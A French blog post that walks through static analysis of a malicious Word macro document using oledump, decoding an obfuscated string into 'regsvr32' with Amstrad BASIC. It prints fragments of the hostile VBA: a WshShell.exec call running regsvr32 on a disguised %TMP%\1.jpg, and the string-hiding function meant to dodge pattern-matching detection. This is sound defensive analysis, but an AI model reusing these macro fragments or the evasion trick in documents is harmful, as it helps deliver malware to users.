J’ai récupéré il y a quelques jours un document Word très suspect, en effet son taux de détection sur VirusTotal était élevé, 17/62 :
J’ai donc commencé cette analyse à l’aide de l’outil « oledump » de Didier Stevens afin de voir si ce document contenait des macros, et bien oui (les 3 « M ») :
J’ai ensuite extrait les macros de ce document Word toujours à l’aide de « oledump ».
Le code n’était pas spécialement obfusqué, juste des noms de fonction et de variable à rallonge, rien de méchant.
Ce qui est d’emblée suspect c’est l’appel à la fonction « exec » depuis un objet de type « WshShell » :
Dim de4f1856 As New WshShell Call de4f1856.exec(d088f7a6 & " " & ed38e7bb)
Mais quel sont les valeurs des arguments passés à « exec », d088f7a6 et ed38e7bb ?
En cherchant dans le code, on s’aperçoit que d088f7a6 est une chaine de caractères retournée par la fonction c2ec170d :
Function d088f7a6() d088f7a6 = c2ec170d("rd0e01gb0sfev9ar013792eb") End Function
En remontant le code on trouve bien cette fonction c2ec170d :
Function c2ec170d(c553066f)
For bc6602fc = 1 To Len(c553066f) Step 3
e8a444c7 = e8a444c7 & Mid(c553066f, bc6602fc, 1)
Next
c2ec170d = e8a444c7
End Function
OK, c’est une petite fonction qui manipule des caractères.
L’auteur a voulu masqué le résultat de cet appel :
c2ec170d("rd0e01gb0sfev9ar013792eb")
La fonction étant toute petite, soit on la déroule à la main, ce qui est vraiment trivial soit on l’émule.
Comme en parallèle j’étais en train de jouer à un vieux jeu sur Amstrad CPC, je me suis dit que j’allais utiliser le Basic de l’Amstrad !
J’ai donc simplement recopier le code de la fonction c2ec170d (en la simplifiant au passage) et ensuite un petit « RUN » pour obtenir le résultat.
Voici donc le résultat de l’émulation sous un Amstrad CPC (et oui un émulateur, WinAPE car snif je n’ai plus de vrai Amstrad…) :
On y est, l’auteur a voulu masqué l’appel à l’exécutable « regsvr32 ».
Je pense que cette petite obfuscation était simplement là pour bypasser des outils de détection en « pattern matching ».
Quant au deuxième argument de la fonction « exec », ed38e7bb, il n’est pas obfusqué, il ‘agit du chemin d’un fichier « jpg » dans le répertoire TMP de l’utilisateur :
Function ed38e7bb()
ed38e7bb = Environ("tmp") & "\1.jpg"
End Function
Voila je me suis arrêté là pour l’analyse statique. En effet à partir du moment où il y a un appel à regsvr32 dans un document Word ce n’est pas bon signe, c’est bien un malware.
Dans un prochain post on passera à l’analyse dynamique.